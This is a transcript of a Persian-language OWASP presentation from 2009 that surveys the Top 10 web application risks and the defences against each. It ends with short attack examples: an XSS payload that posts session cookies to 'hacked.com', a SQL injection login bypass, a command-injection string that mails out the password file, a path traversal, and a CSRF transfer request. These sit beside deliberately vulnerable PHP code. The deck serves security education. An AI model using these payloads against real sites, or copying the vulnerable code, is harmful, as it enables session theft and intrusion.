Transcript Slide 1
امنیت نرمافزارهای وب
OWASP
10/1/2009
۱۳۸۸/۷/9
عباس نادری
Abbas Naderi (aka AbiusX)
اعتباران انفورماتیک
[email protected]
[email protected]
[email protected]
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
)عصر (عج
تقديم به پيشگاه مقدس امام
The OWASP Foundation
http://www.owasp.org
امنیت دنیای وب
سهل انگاری در اوج اهمیت
OWASP TOP 10
خطر اصلی۱۰
Cross Site Scripting (XSS)
Injection Flaws
Insecure Remote File Include
Insecure Direct Object Reference
Cross Site Request Forgery (CSRF)
Information Leakage and Improper Error Handling
Broken Authentication and Session Management
Insecure Cryptographic Storage
Insecure Communications
Failure to Restrict URL Access
)1.Cross Site Scripting (XSS
اسکریپت نویس ی مابین سایتی
• بیش از ۲۰٪سایتها آسیب پذیرند
• مقابله با آن به غایت مشکل است
• هرروزه روشهای جدید فراوانی کشف می شوند
• جایگزینهای معمو ل برای کاربران سختیهایی دارند
منتشر شوند
• میتوانند به صورت کرم
)1. Cross Site Scripting (XSS
روشهای مقابله:
• کتابخانههای بسیار پیچیده ،سنگین و کند
• کتابخانهها نیز ۱۰۰٪مصون نیستند
• تحریم امکان استفاده از قالببندی
• استفاده از سیستمهای جایگزین)(BBCode
• همگامی با دنیای امنیت اطالعات
•2. Injection Flaws
تزریقات
• حدود ۱۵٪سایتها آسیبپذیر
بسیار محلک و اعمال آن ساده است
• آسیبپذیری
در د و دسته آگاهانه و کور انجام میگیرد
•
• معمولترین دلیل هک شدن و رسوخ به سایتها
• عالرقم معروفی بسیار ،توسعهدهندگان بیخبرند
• مقابله با آن معمو ل ناقص انجام میگیرد
بسیار آسان است
در صورت شناخت کافی ،مقابله
•
2. Injection Flaws
روشهای مقابله:
• استفاده از واسطهای امن برای دستورات پویا
• استفاده از PreparedStatementsبرایSQL
• عدم استفاده از Escapingبه عنوان تنها راه
• بررس ی ورودی
• بررس ی لیست سفیدی ورودیها
3. Insecure Remote File Include
تزریق کد مخرب
• احتیاج به آگاهی از روش کار
• معمو ل توسط توسعهدهندگان رعایت نمیشود
• توسط تنظیمات بستری قابل رفع
در صورت وجود و کشف
بسیار مخرب و خطرناک
بسیار
•
• امکان انجام انواع حمالت بدون متوجه شدن سیستم
3. Insecure Remote File Include
روشهای مقابله:
• عدم استفاده از کدفایل متغیر
• بررس ی کامل و بسیار دقیق متغیر در آدرس کد
• تبیین دقیق قوانین استفاده
• تنظیمات سکوی اجرا
4. Insecure Direct Object Reference
ارائه اطالعات ناخواسته
•عدم آگاهی توسعهدهندگان
ی
• پیچیدگی یافت و جلوگیر
در سیستمهای پیچیده
• پیشآمدن قطعی
دشوار جهت کشف برای نفوذگران
مانگیر و
بسیار ز
•
4. Insecure Direct Object Reference
روشهای مقابله:
• تعیین دقیق معماری سیستم و پیروی از آن
• مشخص کردن لیه تعیین دسترس ی به همه چیز
ی
• پیادهسازی صحیح روشها و پیروی از معمار
)5.Cross Site Request Forgery (CSRF
جعل درخواست بین سایتی
• عدم علم توسعهدهندگان
• عدم درک صحیح توسعهدهندگان
بسیار ساده و قابل انجام
•
• میتواند به غایت حساس و خطرناک باشد یا نه
• کاربری معمول به سادگی برطرف میشود
• موارد پیچیده احتیاج به پردازش خروجی دارند
)5.Cross Site Request Forgery (CSRF
روشهای مقابله:
• عدم استفاده از GETبرای فرآیندها
• جفتگیری تصادفی در کالینت و سرور نااتوماتیک
• فرم ورود به سیستم مجدد در فرآیند حساس
• جلوگیری ازXSS
6. Information Leakage and
Improper Error Handling
نشت اطالعات و نقص مدیریت خطا
• قدم اول انواع نفوذ
• تقریبا تمام سیستمها آسیب پذیرند
نظر گرفته نمیشود
• اهمیت آن معمو ل در
• آگاهی نسبتا کامل از سیستم با Stack TraceیاSQL
• روشهای مقابله اتوماتیک ناکارآمد
بسیار کند و هزینهبر
• روشهای مقابله دستی
6. Information Leakage and Improper
Error Handling
روشهای مقابله:
• عدم ارائه خطا و ارور در سیستم عملیاتی
• تهیه گزارش کامل از همه عملکردهای سیستم
• تماس با مدیر و امنیت از طریق ایمیل یاSMS
• بررس ی دقیق و تست کامل محصول قبلاز ارائه
• استفاده از سیستمهای اتوماتیک و تنظیم سکو
7. Broken Authentication and
Session Management
احراز هویت و مدیریت نشست ناکارا
بسیار بد و آسیب زننده
•
ی دائم و فراوان
• احتیاج به بازنگر
در روشهای احر از هویت غیراستاندارد
• نقص
ی
در سیستمهای بزرگ
دشوار و حساس
• پیادهساز
7. Broken Authentication and Session
Management
روشهای مقابله:
• استفاده از یک محور احرازهویت
• ایجاد نشستهای مستقل پساز احراز هویت
• خروج از سیستم کارا و تخلیه اطالعات
• عدم ارائه اطالعات نشستی و حساس
• استفاده از سیستمهای بالغ
• تست و بررس ی کد به صورت کامل
8. Insecure Cryptographic Storage
استفاده نادرست از رمزنگاری
بسیار معمول و خطرناک
•
ی ندارند
اکثر توسعهدهندگان و تیم آنها دانش رمزنگار
•
• تکیه کامل بر رمزنگاری ناصحیح
ی کافی دارند
• نفوذگران معدودی دانش رمزنگار
•
8. Insecure Cryptographic Storage
روشهای مقابله:
• بررس ی کد (تست پاسخگو نیست(
• عدم استفاده از الگوریتمهای دستی
• آموزش استفاده صحیح از الگوریتمهای قدرتمند
• عدم استفاده از الگوریتمهای منسوخ (مانند) MD5
• عدم استفاده ازHard Coding
9. Insecure Communications
ارتباطات ناامن
اعتبار جهت کسب اعتبار
بر و احتیاج به صرف
• هزینه
بیشتر بر روی سرورها و کالینتها (نامطلوب)
بار
•
• عدم درک صحیح از عمق مسئله
ی
دشوار بر سرور
• راهانداز
در کالینت
دشوار
• آموزش
9. Insecure Communications
روشهای مقابله:
• استفاده از SSLدر تمام ارتباطات هویتدار
• استفاده از SSLدر تمام فرآیندهای حساس
• استفاده از گواهینامه معتبرSSL
• استفاده از نسخه معتبر ،SSLنسخه ۳یا TLS
• منطق عدم ارائه اطالعات حساس در ارتباط ناامن توسط برنامه
کنترل شود
10. Failure to Restrict URL Access
ناتوانی در محدود کردن دسترس ی
• متدولوژی غلطSecurity by Obscurity
• عدم استفاده از کنتر ل دسترس ی محوری
• کنترل دسترس ی ناصحیح (مث ال بر روی کالینت)
ی و استفاده از روشهای استاندارد
ی پیادهساز
• دشوار
10. Failure to Restrict URL Access
روشهای مقابله:
• استفاده از روشهای استاندارد و کارا)(RBAC
• اعمال اتوماتیک مکانیزم کنترل دسترس ی
• بررس ی کد کامل و معماری کارآمد
• عدم استفاده از آدرسهای مخفی
چند راهبرد عملی
پیادهروی در اعماق باتالق!
Cross Site Scripting (XSS)
echo $_REQUEST['userinput'];
Reflected, Stored and DOM types
docoment.write('<form name='f1' action=''hacked.com''>
<input name=''sessionID'' value='' '+document.cookie+' '' /></form>');
document.forms.f1.submit();
SQL Injection
$sql = "SELECT * FROM table WHERE id = ' " . $_GET['id'] . " ' ";
Text fields, Number Fields!!!
Server Code:
$R=mysql_query(''SELECT * FROM users WHERE Username='{$Username}' AND
Password='{$Pass}' '');
if ($R) echo '' You logged in successfully! '';
Attack: username: foo
password: 1' or '1'='1
Manipulated SQL: SELECT * FROM users WHERE Username='1' AND Password='1'
or '1'='1'
Command Injection
Server Code:
Exec (''mail ''.$UserData);
UserData:
'' hi; cat passwd; ''
. به نفوذگر ایمیل می شوند،لیست کلمات عبور به همراه متن نامه
Malicious File Execute
;Include direname(__FILE__).''/request_handlers/''.$R
به صورت پویا درخواست کاربر را پاسخ میگوییم...
User Request:
../../passwd
باعث میشود فایل رمزهای عبور به جای فایل کد نمایش داده شود.
Insecure Direct Object Reference
<select name="language"><option
value="ir">Farsi</option></select>
...
Include ($_GET['language']."lang.php");
...
<select name="language"><option
value="29871268398721">Farsi</option></select>
Use Salts to prevent Brute-Force!
Cross Site Request Forgery (CSRF)
<img
src="http://www.example.com/transfer.do?frmAcct=docume
nt.form.frmAcct
&toAcct=4345754&toSWIFTid=434343&amt=3434.43">
Insecure Cryptographic Storage
$pass=md5($_GET['pass']); // unsafe!
www.passcracking.com
)۲( ) از الگوریتمهای صحیح۱(استفاده صحیح
$pass=hash( ''sha-512'' ,$_GET['pass'].strtolower($_GET['user']));
سواالت ،پیشنهادات؟
منابع www.owasp.org :